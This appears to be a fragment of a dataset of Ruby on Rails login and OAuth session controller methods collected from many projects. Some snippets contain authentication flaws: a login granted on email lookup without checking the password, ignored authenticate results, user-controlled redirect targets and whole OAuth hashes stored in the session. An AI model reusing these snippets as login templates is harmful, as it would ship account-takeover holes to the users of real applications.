"def create_with_facebook\n auth_hash = request.env['omniauth.auth']\n authorization = Authorization.find_by_provider_and_uid(auth_hash['provider'], auth_hash['uid'])\n name = auth_hash['info']['name'].split\n email = auth_hash['info']['email']\n first, last = name[0], name[1..-1].join(' ')\n user = User.find_by_first_name_and_last_name_and_email(first, last, email)\n\n # when both a user and an authorization have been found\n if authorization && user\n user.oauth_token = auth_hash['credentials']['token']\n user.save\n authorization.update_attribute 'user', user\n sessionize authorization.user\n\n # if only a user exists, build an authorization\n elsif user\n user.authorizations.build :provider => auth_hash['provider'], :uid => auth_hash['uid']\n sessionize user\n\n # No user or authorization; build them\n else\n user = User.new(:first_name => first, :last_name => last, :email => email)\n user.authorizations.build :provider => auth_hash['provider'], :uid => auth_hash['uid']\n user.save\n sessionize user\n end\n\n redirect_to root_path\n end",
"def create\n\t\tif params[:session][:provider] == 'facebook'\n\t\t\tbegin\n\t\t\t\t@facebook = Koala::Facebook::API.new(params[:session][:provider_token])\n\t\t\t\tprofile = @facebook.get_object(\"me\")\n\n\t\t\t\tif User.where(facebook_id: profile[\"id\"]).exists?\n\t\t\t\t\tuser = User.find_by(facebook_id: profile[\"id\"])\n\t\t\t\t\tsign_in user, store: false\n\t\t\t\t\tuser.generate_authentication_token!\n\t\t\t\t\tuser.save\n\t\t\t\t\trender json: user, status: 200, location: [:api, user]\n\t\t\t\telse\n\t\t\t\t\tcredentials = {}\n\t\t\t\t\tcredentials[:email] = profile[\"email\"]\n\t\t\t\t\tcredentials[:facebook_id] = profile[\"id\"]\n\t\t\t\t\tcredentials[:password] = SecureRandom.base64\n\t\t\t\t\tcredentials[:password_confirmation] = credentials[:password]\n\t\t\t\t\tuser = User.new(credentials)\n\t\t\t\t\tif user.save\n\t\t\t\t\t\tsign_in user, store: false\n\t\t\t\t\t\tuser.generate_authentication_token!\n\t\t\t\t\t\tuser.save\n\t\t\t\t\t\trender json: user, status: 200, location: [:api, user]\t\n\t\t\t\t\telse\n\t\t\t\t\t\trender json: { errors: user.errors }, status: 422\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\trescue Koala::Facebook::AuthenticationError\n\t\t\t\trender json: { errors: \"Facebook authentication failed\" }, status: 422\n\t\t\tend\n\t\t\t\n\t\telsif params[:session][:provider] == 'twitter'\n\n\t\t\t# byebug\n\t\t\t# a_t = ENV[\"CONSUMER_KEY\"]\n\t\t\t# a_s = ENV[\"CONSUMER_SECRET\"]\n\t\t\t# access_token = prepare_access_token(a_t, a_s)\n\t\t\t# response = access_token.request(:get, \"https://api.twitter.com/1.1/statuses/user_timeline.json\")\n\t\t\t# render json: response.body, status: 200\n\t\t\t\n\t\t\tbegin\n\t\t\t\tclient = Twitter::REST::Client.new do |config|\n\t\t\t\t config.consumer_key = ENV[\"CONSUMER_KEY\"]\n\t\t\t\t config.consumer_secret = ENV[\"CONSUMER_SECRET\"]\n\t\t\t\t config.access_token = params[:session][:provider_token]\n\t\t\t\t config.access_token_secret = params[:session][:provider_secret]\n\t\t\t\tend\n\t\t\t\ttwitter_id = client.access_token.scan(/\\w+/)[0].to_i\n\t\t\t\t# twitter_id = params[:session][:twitter_id].to_i\n\n\t\t\t\ttwitter_screen_name = client.user(twitter_id).screen_name\n\n\t\t\t\tif User.where(twitter_id: twitter_id).exists?\n\t\t\t\t\tuser = User.find_by(twitter_id: twitter_id)\n\t\t\t\t\tsign_in user, store: false\n\t\t\t\t\tuser.generate_authentication_token!\n\t\t\t\t\tuser.save\n\t\t\t\t\trender json: user, status: 200, location: [:api, user]\n\t\t\t\telse\n\t\t\t\t\tcredentials = {}\n\t\t\t\t\temail = twitter_screen_name + \"@twitter.com\"\n\t\t\t\t\tcredentials[:email] = email\n\t\t\t\t\tcredentials[:twitter_id] = twitter_id\n\t\t\t\t\tcredentials[:password] = SecureRandom.base64\n\t\t\t\t\tcredentials[:password_confirmation] = credentials[:password]\n\t\t\t\t\tuser = User.new(credentials)\n\t\t\t\t\tif user.save\n\t\t\t\t\t\tsign_in user, store: false\n\t\t\t\t\t\tuser.generate_authentication_token!\n\t\t\t\t\t\tuser.save\n\t\t\t\t\t\trender json: user, status: 200, location: [:api, user]\n\t\t\t\t\telse\n\t\t\t\t\t\trender json: { errors: user.errors }, status: 422\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\trescue Twitter::Error::Unauthorized\t\n\t\t\t\trender json: { errors: \"Twitter authentication failed\" }, status: 422\n\t\t\tend\n\t\telse\n\t\t\tuser_password = params[:session][:password]\n\t\t\tuser_email = params[:session][:email]\n\t\t\tuser = user_email.present? && User.find_by(email: user_email)\n\n\t\t\tif user.valid_password? user_password\n\t\t\t\tsign_in user, store: false\n\t\t\t\tuser.generate_authentication_token!\n\t\t\t\tuser.save\n\t\t\t\trender json: user, status: 200, location: [:api, user]\n\t\t\telse\n\t\t\t\trender json: { errors: \"Invalid email or password\" }, status: 422\n\t\t\tend\n\t\tend\n\tend",
"def create\n self.current_user = User.from_omniauth(request.env['omniauth.auth'])\n\n if current_user\n redirect_to auctions_path\n else\n redirect_to auth_path(provider: authentication_data['provider'])\n end\n end",
"def create\n user = User.find_by(email: params[:session][:email].downcase)\n if user && user.authenticate(params[:session][:password])\n session[:user_id] = user.id\n flash[:success] = \"You have successfully logged in\"\n redirect_to user_path(user)\n\n else\n\n flash.now[:danger] = \"There was something wrong with your login information\"\n render 'new'\nend\n end",
"def create\n @business_owner = User.new\n @business_owner.role = BusinessOwner.new\n @business_owner.update business_owner_params\n respond_to do |format|\n if @business_owner.save\n sign_in(User, @business_owner)\n format.html {redirect_to dashboard_url, notice: 'Your account was successfully created.'}\n format.json {render :show, status: :created, location: dashboard_path}\n else\n format.html {render :new}\n format.json {render json: @business_owner.errors, status: :unprocessable_entity}\n end\n end\n end",
"def create\n omniauth = request.env['omniauth.auth']\n\n user = User.find_by_uid(omniauth['uid'])\n if not user\n # registruje novog usera\n user = User.new(:uid => omniauth['uid'])\n end\n user.email = omniauth['info']['email']\n user.save\n\n # sve info o useru u sesiji\n session[:user_id] = omniauth\n\n flash[:notice] = \"Successfully logged in\"\n redirect_to root_path\n end",
"def create\n omniauth = env['omniauth.auth']\n\n user = User.find_by(uid: omniauth['uid'])\n unless user\n # New user registration\n user = User.new(uid: omniauth['uid'])\n end\n user.email = omniauth['info']['email']\n user.save\n\n # p omniauth\n\n # Currently storing all the info\n session[:user_id] = omniauth\n\n flash[:notice] = t(:successfully_logged_in)\n redirect_to root_path\n end",
"def create\n access_token = AccountKit.access_token(params[:code])\n me = AccountKit.me(access_token)\n email = me[\"email\"][\"address\"]\n account_kit_id = me[\"id\"]\n\n @user = User.find_by(email: email)\n unless @user\n @user = User.create(email: email, account_kit_id: account_kit_id)\n end\n\n @session = @user.sessions.create\n\n cookies[:remember_token] = @session.remember_token\n\n if @user.name.nil?\n redirect_to update_profile_path(@user)\n else\n redirect_to root_path\n end\n end",
"def create\n session_params = params.permit(:email, :password)\n user = User.confirm(session_params)\n if user\n login(user)\n redirect_to current_user\n\n else\n flash.now[:error] = \"Something went wrong! Invalid email/password combination\"\n redirect_to signin_path \n end\n end",
"def create\n client = FacebookAccount.auth(callback_prive_options_facebook_url).client\n client.authorization_code = params[:code]\n access_token = client.access_token!\n user = FbGraph::User.me(access_token).fetch\n FacebookAccount.identify(user, @salon.id)\n redirect_to prive_options_facebooks_path, :notice => \"La page facebook est liée au compte\"\n end",
"def ensure_facebook_connect\n set_facebook_session()\n if facebook_session && facebook_session.user.id\n @user = User.find_or_create_by_facebook_id(facebook_session.user.id)\n else\n redirect_to :controller=>:account, :action=>:login, :next_url=>request.request_uri\n end\n end",
"def create \n omniauth = request.env[\"omniauth.auth\"]\n \n authentication = Authentication.find_by_provider_and_uid(omniauth['provider'], omniauth['uid'])\n if authentication\n #directly sign in existing user with existing authentication\n flash[:notice] = \"signed in successfully\"\n sign_in_and_redirect(:user, authentication.user)\n elsif current_user\n #create a new authentication for currently signed in user\n current_user.authentications.create(:provider => omniauth['provider'], :uid => omniauth['uid']) \n flash[:notice] = \"Authentication successful.\" \n redirect_to authentications_url\n else\n # user does not have an account or is authenticated through a provider\n user = User.new\n user.apply_omniauth(omniauth) \n if user.save\n flash[:notice] = \"Signed in successfully.\" \n sign_in_and_redirect(:user, user) \n else\n session[:omniauth] = omniauth.except('extra') \n redirect_to new_user_registration_url\n end \n end\n end",
"def create\n auth = request.env[\"omniauth.auth\"]\n user = User.find_by_provider_and_uid(auth[\"provider\"], auth[\"uid\"]) || User.create_with_omniauth(auth)\n session[:user_id] = user.id\n redirect_to app_path\n end",
"def create_with_api\n @user = User.find_or_create_from_auth_hash(request.env[\"omniauth.auth\"])\n if @user\n session[:user_id] = @user.id\n redirect_to @user\n else \n flash.now[:danger] = \"Whoops, something went wrong!\"\n render 'new'\n end\n end",
"def create_from_oauth\n if stored_anonymous_user?\n user, from_registration = update_from_omniauth(env[\"omniauth.auth\"], params[:provider])\n else\n user, from_registration = create_from_omniauth(env[\"omniauth.auth\"], params[:provider])\n end\n\n if user.errors.any?\n redirect_to_registration_page(user)\n else\n change_global_user_id(user.id)\n sign_in(user)\n fandom_play_login(user)\n \n if from_registration\n log_data = { 'form_data' => env[\"omniauth.auth\"], 'user_id' => current_user.id }\n log_synced(\"registration from oauth\", adjust_user_and_log_data_with_utm(user, log_data))\n\n set_account_up()\n cookies[:from_registration] = true \n end\n\n if $site.force_facebook_tab && !request_is_from_mobile_device?(request)\n redirect_to request.site.force_facebook_tab\n else\n redirect_after_oauth_successful_login()\n end\n end\n end",
"def create\n user = User.authenticate(params[:email], params[:password])\n if user\n session[:user_id] = user.id\n render :json => { :success=>'ok', :email=>user.email, :user_id => user.id}, :callback => params['callback'], :status=>200\n else\n render :json=> {:success=>false, :message=>\"Error with your login or password\"}, :callback => params['callback'], :status=>401\n\n end\n end",
"def create\n # @developer = search database for email that was typed in\n @developer = Developer.find_by(email: params[:email])\n # if they log in right:\n if @developer && @developer.authenticate(params[:password])\n # need to be remembered as logged in on all pages\n session[:developer_id] = @developer.id\n session[:developer_welcome] = @developer.name\n # session[:its_a_party_key] = \"You logged in dude\"\n # they get a welcome page REDIRECT\n redirect_to root_path, notice: \"Welcome back, #{@developer.name}!\"\n else\n flash[:notice] = 'Password or username wrong. Try again.'\n render :new\n end\n end",
"def create_from_bookshelf\n @user = User.find_by(email: params[:email]) # Find user by email\n\n if @user && @user.authenticate(params[:password]) # If user exists and is authenticated, log them in by adding their ID to the session hash\n session[:user_id] = @user.id\n redirect_to user_path(@user)\n elsif !@user # If user doesn't exists flash error on signin page\n flash[:alert] = \"We don't have an account associated with that email.\" \n redirect_to signin_path\n else # If password is incorrect flash error on signin page\n flash[:alert] = \"Your password is incorrect - please try again.\" \n redirect_to signin_path\n end\n\n end",
"def create\n # Find the user\n user = User.find_by(email: params[:session][:email].downcase)\n # Get the password from the parameters\n password = params[:session][:password]\n # Try to authenticate the user\n if user && user.authenticate(password)\n flash[:success] = \"Welcome back #{user.username}\"\n # Store the user id in the session\n session[:user_id] = user.id\n # Redirect the user to its page\n redirect_to user_path(user)\n else\n # Since we are using render, there won't be another request, so we need to use flash.now\n flash.now[:danger] = \"Wrong email or password. Please try again.\"\n render :new\n end\n end",
"def create\n user = User.find_by_email(params[:email].downcase)\n return redirect_to sessions_path,\n flash: { danger: 'User does not exist' } if user.nil?\n\n return redirect_to sessions_path,\n flash: { warning: 'Please confirm your email' } unless user.email_confirmed\n\n return redirect_to sessions_path,\n flash: { danger: 'password is incorrect' } unless user&.\n authenticate(params[:password])\n\n session[:user_id] = user.id\n redirect_to :todos, flash: { success: 'Successfully Logged in' }\n end",
"def create\n @dealer = Dealer.new(dealer_params)\n\n # respond_to do |format|\n if Dealer.find_by(email: params[:dealer][:email]) != nil\n redirect_to new_dealer_path, alert: \"Someone with this username already exist, Try another\"\n return\n end\n \n if @dealer.save\n # format.html { redirect_to @dealer, notice: 'Dealer was successfully created.' }\n # format.json { render :show, status: :created, location: @dealer }\n # else\n # format.html { render :new }\n # format.json { render json: @dealer.errors, status: :unprocessable_entity }\n # end\n current_dealer = Dealer.find_by(email: params[:dealer][:email])\n password = params[:dealer][:password]\n end\n\n if current_dealer && current_dealer.authenticate(password)\n session[:dealer_id] = current_dealer.id\n redirect_to new_dealerpersonalinfo_path, notice: \"Logged In as Dealer\"\n else\n redirect_to dealerlogin_path, alert: \"Wrong Credentials\"\n end\n end",
"def create\n @user = User.find_by(email: session_params[\"email\"])\n if @user\n login!\n render json: {\n status: :created, \n logged_in: true, \n user: @user,\n profile: @user.profile\n \n }\n # render json: @session, status: :created, location: @session\n else\n render json: { status: 401 }\n # render json: @session.errors, status: :unprocessable_entity\n end\n end",
"def create\n user = User.find_by(email: params[:session][:email].downcase)\n if user && user.authenticate(params[:session][:password])\n flash[:success] = 'Thank you for signing in!'\n sign_in(user)\n redirect_to root_path\n else\n flash.now[:error] = \"Invalid email/password combination\"\n render 'new'\n end\n end",
"def create\n\t user = User.find_by_email(user_params[:email])\n\t if user && user.authenticate(user_params[:password])\n\t session[:user_id] = user.id\n\t redirect_to profile_path\n\t flash[:notice] = \"Successfully logged in!\"\n\t else\n\t redirect_to login_path\n\t end\n\tend",
"def create\n omniauth = request.env['omniauth.auth']\n authentication = Authentication.find_by_provider_and_uid(omniauth['provider'], omniauth['uid'])\n if authentication\n flash[:notice] = \"Signed in successfully\"\n sign_in_and_redirect(:user, authentication.user)\n else\n user = User.new\n user.apply_omniauth(omniauth)\n user.login = omniauth['info'] && omniauth['info']['nickname']\n if user.save\n flash[:notice] = \"Successfully registered\"\n sign_in_and_redirect(:user, user)\n else\n session[:omniauth] = omniauth.except('extra')\n session[:omniauth_login] = user.login\n\n # Check if login already taken. If so, ask user to link_accounts\n if user.errors[:login][0] =~ /has already been taken/ # omniauth? TBD\n # fetch the user with this login id!\n user = User.find_by_login(user.login)\n return redirect_to link_accounts_url(user.id)\n end\n redirect_to new_user_registration_url\n end\n end\n end",
"def create\n user = Backend::User.authenticate(params[:session][:login],\n params[:session][:password])\n \n if user.nil?\n flash.now[:error] = I18n.translate('sessions.signin.flash.invalid')\n @title = I18n.translate('sessions.signin.title')\n render 'new'\n else \n sign_in_to_backend(user)\n if !user.admin? && !user.staff? && user.partner?\n redirect_to backend_partner_sites_path\n else\n redirect_to backend_dashboard_path\n end\n end \n\n end",
"def create\n @user = User.new(user_params)\n @same_fb_id = User.find_by_fb_id(@user.fb_id)\n if @same_fb_id == nil\n @user.save\n end\n respond_with @user\n end",
"def create_user\n \tunless @user\n \t\tflash[:notice_login] = \"Incorrect password or username.\"\n \t return render action: 'new_user'\n \tend\n \tsession[:comedian_id] = nil\n \tsession[:user_id] = @user.id\n\n \tflash[:notice_login] = 'Signed in!'\n \tredirect_to root_path\n end",
"def create_from_omniauth\n auth_hash = request.env[\"omniauth.auth\"]\n authentication = Authentication.find_by_provider_and_uid(auth_hash[\"provider\"], auth_hash[\"uid\"]) || Authentication.create_with_omniauth(auth_hash)\n\n # if: previously already logged in with OAuth\n if authentication.user\n user = authentication.user\n authentication.update_token(auth_hash)\n @next = root_url\n @notice = \"Signed in!\"\n # else: user logs in with OAuth for the first time\n else\n user = User.create_with_auth_and_hash(authentication, auth_hash)\n # you are expected to have a path that leads to a page for editing user details\n @next = edit_user_path(user)\n @notice = \"User created. Please confirm or edit details\"\n end\n\n sign_in(user)\n redirect_to @next, :notice => @notice\n end",
"def create\n user = User.find_by(email: params[:session][:email].downcase)\n if user && user.authenticate(params[:session][:password])\n if user.email_confirmed?\n log_in user\n flash[:success] = 'You are now logged in!'\n # TODO: redirect_or_back\n redirect_to root_path\n else\n flash[:notice] = %Q[Please activate your account by following the instructions in the account confirmation email you received to proceed. Click #{view_context.link_to(\"here\", new_user_email_confirmation_url)} to resend the confirmation email.]\n flash[:notice] = flash[:notice].html_safe\n render 'new'\n end\n else\n flash.now[:danger] = 'Invalid email/password combination'\n render 'new'\n end\n end",
"def create\n\n user = User.find_by(email: params[:session][:email].downcase)\n\n if(user && user.authenticate(params[:session][:password]))\n log_in(user)\n redirect_to(root_path)\n flash[:success] = \"Logado com sucesso!\"\n else\n flash.now[:danger] = 'Combinação inválida de e-mail/senha'\n render('new')\n end\n\n end",
"def create\n self.current_person = Person.authenticate(params[:login], params[:password])\n if logged_in?\n if params[:remember_me] == \"1\"\n current_person.remember_me unless current_person.remember_token?\n cookies[:auth_token] = { value: self.current_person.remember_token , expires: self.current_person.remember_token_expires_at }\n end\n flash[:notice] = t('sessions.create.access_granted')\n redirect_back_or_default(root_path)\n else\n flash.now[:error] = t('sessions.create.access_denied')\n render action: 'new'\n end\n end",
"def create\n omniauth = request.env[\"omniauth.auth\"]\n authentication = Authentication.find_by_provider_and_uid(omniauth['provider'], omniauth['uid'])\n initial_session(omniauth)\n\n if current_user\n if authentication #if such user with such SN already exists\n accounts_merge(authentication)\n sign_in_and_redirect(:user, authentication.user)\n else\n current_user.authentications.create(:provider => omniauth['provider'], :uid => omniauth['uid'])\n redirect_to authentications_path, :notice => t('authentication.succes')\n end\n elsif authentication\n flash[:notice] = t('authentication.signed_succes')\n sign_in_and_redirect(:user, authentication.user)\n else\n if User.find_by_email(omniauth['info']['email'])\n user = User.new(:email => omniauth['provider'] + \":\" +omniauth['info']['email'])\n else\n user = User.new(:email => omniauth['info']['email'])\n end\n user.authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n set_profile(user, omniauth)\n user.save\n user.save(:validate => false)\n flash[:notice] = t('authentication.signed_succes')\n sign_in_and_redirect(:user, user)\n end\n end",
"def create\n @user = User.find_by(email: params[:session][:email])\n #@user = User.find_by(password_digest: params[:session][:password_digest])\n @user && @user.authenticate(params[:session][:password])\n if @user\n log_in(@user)\n flash[:success] = 'Log in successful.'\n redirect_to @user #first problem identified#\n else\n flash.now[:danger] = 'The user id you entered does not exist.'\n render 'new'\n #render html:'<strong>HTML String</strong>'\n end\n end",
"def create\n user = User.find_by(email_address: params[:session][:email_address].downcase)\n if user && user.authenticate(params[:session][:password])\n session[:user_id] = user.id\n log_in user #helper method used here to log in user upon signup before redirect.\n params[:session][:remember_me] == '1' ? remember(user) : forget(user) #using ternary operator to reduce conditional to determine 1 or 0.\n remember user #helper method used to call user.remember generating a rmemeber token and saving its digest to database.\n redirect_to user notice: \"logged in\"\n else\n message = \"Account not activated.\"\n message += \"Check your email for the activation link.\"\n flash.now[:alert] = \"Email or password is invalid\"\n render '/users/new' \n end\n end",
"def oauth\n profile = OAuthProfile.from_omniauth(env['omniauth.auth'])\n # TODO check for error\n # temp_password = SecureRandom.hex\n if !profile.user\n oauth_custom_params = request.env[\"omniauth.params\"] || {}\n session[:oauth_reason] = oauth_custom_params.fetch(\"dbdesigner_action\", \"\")\n session[:profile_id] = profile.id\n redirect_to new_registration_path\n # profile.user.create({\n # username: profile.username,\n # email: profile.email,\n # password: temp_password,\n # password_confirmation: temp_password\n # })\n else\n session[:user_id] = profile.user.id\n profile.user.record_login(request: request, oauth_profile: profile)\n redirect_to designer_path\n end\n end",
"def create\n if openid = request.env[Rack::OpenID::RESPONSE]\n case openid.status\n when :success\n ax = OpenID::AX::FetchResponse.from_success_response(openid)\n user = User.where(:identifier_url => openid.display_identifier).first\n user ||= User.find_by_email(ax.get_single('http://axschema.org/contact/email')) \n \n sign_in user\n if user.first_name.blank?\n redirect_to edit_user_path(user)\n else\n redirect_back_or(user)\n end\n when :failure\n render :action => 'problem'\n end\n else\n redirect_to new_session_path\n end\n end",
"def callback\n auth = env['omniauth.auth']\n\n person = Person.find_by(email: auth.info.email)\n if person\n user = User.find_by(person: person)\n if not user\n user = User.new\n user.person = person\n end\n user.oauth_token = auth.credentials.token\n user.oauth_expires_at = Time.at(auth.credentials.expires_at)\n user.save!\n\n session[:user_id] = user.id\n if person.mentees.empty? && !person.admin?\n redirect_to root_path\n else\n redirect_to '/dashboard/'\n end\n\n else\n redirect_to google_unregistered_path\n end\n end",
"def create\n if user_signed_in?\n session[:user_id] = user.id\n redirect_to user, notice: \"Logged in!\"\n else\n flash[:error] = \"Wrong Username or Password.\"\n redirect_to root_url\n end\n end",
"def create\n @user = User.find_by_email(params[:session][:email])\n if @user && @user.authenticate(params[:session][:password])\n session[:user_id] = @user.id\n owner = Owner.where(:user_id == @user.id)\n redirect_to user_owner_path(@user, owner)\n else\n flash[:alert] = \"Your username/password combination was invalid.\"\n redirect_to 'login'\n end\n end",
"def create\n # Is email blank?\n if (params[:email].blank?) \n render :new\n flash[:notice] = \"You must enter an email address\"\n else\n \n if (params[:first_name].blank?) \n render :new\n flash[:notice] = \"What's your name pretty lady?\"\n else\n \n if (params[:password].blank?) \n render :new\n flash[:notice] = \"What's your password?\"\n else\n # If no, does user exist?\n \n if @user = User.find_by(email: params[:email])\n \n if @user.authenticate(params[:email], params[:password])\n # If authenticated, log in and redirect to /\n puts \"Redirecting to root url\"\n session[:user_id] = @user.id\n redirect_to user_orders_path(@user.id)\n else\n # If auth fails, render login page with error\n flash.now[:error] = \"This email is already in use.\"\n render :new\n end\n\n else\n # If no, create new user and redirect to account form\n \n @user=User.new\n @user.first_name = params[:first_name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.save\n session[:user_id] = @user.id\n redirect_to flowers_path\n \n end\n end\n end\nend \nend",
"def create\n # Authenticate the user.\n user = User.authenticate(params[:email], params[:password])\n \n #If user if valid, affect session, and redirect back to\n if user\n session[:user_id] = user.id\n redirect_to account_page_path, :notice => \"Logged in!\"\n else\n flash.now.alert = \"Invalid email or password\"\n render \"new\"\n end\n end",
"def create\n @user = User.find_by(email: session_params[:email])\n if @user && @user.authenticate(session_params[:password])\n # Save the user ID in the session so it can be used in\n # subsequent requests\n session[:user_id] = @user.id\n flash[:notice] = \"Welcome, #{@user.email}!\"\n redirect_to statuses_path\n else\n flash[:alert] = \"Please log in again\"\n render \"new\"\n end\n end",
"def create \n\t\tuser = User.find_by({email: params[:email]})\n\t\tif user && user.authenticate(params[:password])\n\t\t\tsession[:user_id] = user.id \n\t\t\tredirect_to user_flashcards_path\n\t\telse \n\t\t\t@email = params[:email]\n\t\t\tflash.now[:error] = \"Sorry, unknown combo! Try again, please!\"\n\t\t\trender :new\n\t\tend\n\tend",
"def create\n\t\t#render 'new'\n\t\tuser = User.find_by(email: params[:session][:email].downcase)\n\t\tif user && user.authenticate(params[:session][:password])\n\t\t\tsession[:user_id] = user.id\n\t\t\tflash[:success] = \"You have successfully logged in!\"\n\t\t\tredirect_to user_path(user)\n\t\telse\n\t\t\t#when u render using flash.now and when u redirect_to using flash.\n\t\t\tflash.now[:danger] = \"There is something wrong with your login information!\"\n\t\t\trender 'new'\n\t\tend\n\tend",
"def create\n # find the user based on email in params from post action. Downcase as all emails are downcased in database.\n user = User.find_by(email: params[:session][:email].downcase)\n # is user returned valid? If so, authenticate (.authenticate comes from bcrypt gem. Checks if the password matches.)\n if user && user.authenticate(params[:session][:password])\n # Save the user id in the session's hash (add a :user_id key & save the current user's id as the value)\n session[:user_id] = user.id\n # show success message & redirect to the logged in user's profile page\n flash[:success] = \"You have successfully logged in\"\n redirect_to user_path(user)\n # If either is false, then show fail message and render the login page again\n else\n flash.now[:danger] = \"There was something wrong with your login info\"\n render 'new'\n end\n end",
"def new_with_redirect;\n\t\t@user=User.new;\n\t\treturn redirect_to auth_path(:facebook) if params[:with]==\"facebook\"\n\t\treturn redirect_to auth_path(:linkedin) if params[:with]==\"linkedin\"\n\t\tif !auth_hash.blank?\n\t\t\tif @user.facebook_info(auth_hash)=='mail missing'\n\t\t\t\tflash[:error]='Sign up failed, we need your email to sign you up'\n\t\t\t\tredirect_to root_path\n\t\t\tend\n\t\tend\n\tend",
"def create\n #Try to find the user in the database\n user = User.find_by(email: params[:session][:email].downcase)\n #If the password matches, log the user in and redirect them to the user profile page\n if user && user.authenticate(params[:session][:password])\n log_in(user) #store id in cache\n redirect_to user_url(user)\n #Display error message and refresh the page if password is invalid\n else\n flash.now[:danger] = \"Invalid username or password\"\n #refresh the page\n render 'new'\n end\n end",
"def create\n user = User.find_by_email( params[:session][:email].downcase )\n\n if user and user.authenticate( params[:session][:password] )\n sign_in user \n redirect_to root_url\n else\n flash[:error] = \"invalid email/password\"\n render :action => 'new' \n end\n end",
"def fb_auth\n session[:sign_up_reason] = nil\n\n if params[:return_to]\n set_after_sign_in_location(params[:return_to])\n elsif params[:spree_user_return_to]\n set_after_sign_in_location(params[:spree_user_return_to])\n elsif is_user_came_from_current_app\n set_after_sign_in_location(request.referrer)\n end\n\n if params[:redeem_via_fb_state]\n session[:redeem_via_fb_state] = params[:redeem_via_fb_state]\n end\n\n if params[:new_modal_fb_state]\n session[:new_modal_fb_state] = params[:new_modal_fb_state]\n end\n\n if params[:show_promocode_modal]\n session[:show_promocode_modal] = params[:show_promocode_modal]\n # reset current modal popup\n set_after_sign_in_location(root_path)\n end\n\n session[:auto_apply] = params[:auto_apply] if params.key?(:auto_apply)\n session[:auto_apply_promo] = params[:auto_apply_promo] if params.key?(:auto_apply_promo)\n\n # Capture PLEASE REMIND ME ABOUT MY SALE events to push onto customer.io later.\n session[:email_reminder_promo] = params[:email_reminder_promo] if params.key?(:email_reminder_promo)\n\n\n redirect_to spree.spree_user_omniauth_authorize_url(provider: :facebook, scope: 'email,public_profile,user_friends')\n end",
"def create\n user = User.find_by(email: params[:email])\n\n p user\n p params[:email]\n p params\n if user && user.authenticate(params[:password])\n session[:user_id] = user.id\n redirect_to user_path(user)\n else\n redirect_to authentication_index_path\n end\n end",
"def create\n @user = User.find_by(email: params[:user][:email])\n @user = @user.try(:authenticate, params[:user][:password])\n if @user\n session[:user_id] = @user.id\n redirect_to contacts_path\n else\n flash.now[:alert] = \"Invalid combination. Try again - or try logging in via Google\"\n render :new\n end\n end",
"def create\n @default_facebook = DefaultFacebook.new(params[:default_facebook])\n @default_facebook.user_id = current_user.id\n\n respond_to do |format|\n if @default_facebook.save\n format.html { redirect_to @default_facebook, notice: 'Default facebook was successfully created.' }\n format.json { render json: @default_facebook, status: :created, location: @default_facebook }\n else\n format.html { render action: \"new\" }\n format.json { render json: @default_facebook.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = Account.new(user_params)\n if @user.save\n session[:user_id] = @user.id\n redirect_to @user\n else\n render 'new'\n end\n end",
"def facebookcheck\n auth=request.env[\"omniauth.auth\"]\n session[:auth] = auth\n if (session[:check] == 1)\n redirect_to '/create/manager'\n elsif (session[:check] == 2)\n redirect_to '/create/tenant'\n else\n #differentiates the redirection for the log in of a tenant or manager\n if Manager.where(:provider => auth[\"provider\"], :uid => auth[\"uid\"]).exists?\n user=Manager.find_by(:provider => auth[\"provider\"], :uid => auth[\"uid\"])\n session[:user_id] = user.id\n redirect_to '/managers/show'\n elsif Tenant.where(:provider => auth[\"provider\"], :uid => auth[\"uid\"]).exists?\n user = Tenant.find_by(:provider => auth[\"provider\"], :uid => auth[\"uid\"]) \n session[:user_id] = user.id\n redirect_to '/tenants/show'\n #redirects incorrect sign ins\n else\n flash[:notice] = 'Incorrect login information.'\n redirect_to '/signin'\n end\n end\n end",
"def create\n counter_fixation # Counter session fixation (but save forwarding url)\n if Rails.application.config.deny_login\n flash.now[:danger] = t('sessions.login_disabled')\n render 'new', status: :forbidden\n elsif request.env['omniauth.auth'].present?\n omniauth_login\n elsif params[:session][:provider] == 'local'\n local_login\n else\n flash.now[:danger] = t('sessions.incorrect_login_info')\n render 'new'\n end\n end",
"def create\n user = User.find_by_email(session_params[:email])\n\n if user && user.authenticate(session_params[:password])\n session[:user_id] = user.id\n redirect_url = params[:redirect_to] || after_sign_in_path\n msg = \"Welcome back, #{user.full_name}.\"\n\n respond_to do |format|\n format.html { redirect_to redirect_url, notice: msg }\n format.js { render json: { logged_in: true } }\n format.json { render json: user }\n end\n else\n redirect_to(new_user_session_path, notice: \"Oops, sorry. Something was wrong with your email or password.\")\n end\n end",
"def create\n if user = User.authenticate_with_credentials(params_for_login)\n # a session cookie is assigned to logged users\n session[:user_id] = user.id\n redirect_to session[:return_to]\n else\n redirect_to session[:return_to], flash: { error: \"Invalid email address\" }\n end\n end",
"def create\n user = User.find_by(email: params[:email])\n if user and user.authenticate(params[:password])\n session[:user_id] = user.id\n if flash[:ref_url] && flash[:ref_url] != login_url\n redirect_to flash[:ref_url]\n else\n redirect_to root_path\n end\n\n else\n redirect_to login_url,\n alert: \"Invalid user/password combination please try again or register an account\"\n end\n end",
"def authenticate_user!\n redirect_to login_path(:facebook) unless session[:user_id]\n end",
"def create\n\t\tauth_params = request.env['omniauth.auth']\n\t\tparams = request.env['omniauth.params']\n\n\t\tuser_tmp = User.find_by(uid: auth_params['uid'])\n\t\tuser = User.from_omniauth(auth_params)\n\t\treferer = User.find_by(id: params['referer'].to_i)\n\n\t\tif !user_tmp && user\n\t\t\tsend_notification_user(user, 25, 'You logged in for the first time!', '', '', false)\n\t\t\tuser.hasLoggedInThisRound = true\n\t\t\tuser.save\n\t\telsif !user.hasLoggedInThisRound\n\t\t\tsend_notification_user(user, 1, 'You logged in this round!', '', '', false)\n\t\t\tuser.points += 1\n\t\t\tuser.hasLoggedInThisRound = true\n\t\t\tuser.save\n\t\tend\n\n\t\tif user_tmp == nil && referer != nil && user.uid != referer.uid \n\t\t\tsend_notification_user(referer, 5, 'You refered ' + user.name + '!', '', '', false)\n\t\t\treferer.points += 5\n\t\t\treferer.save\n\t\tend\n\t\t\n\t\tsession[:user_id] = user.id\n\t\tsession[:return_to] ||= request.referer\n\n\t\tif (params['mobile'].to_i == 1)\n\t\t\tredirect_to '/mobile/login/'\n\t\telse\n\t\t\tredirect_to root_path\n\t\tend\n\tend",
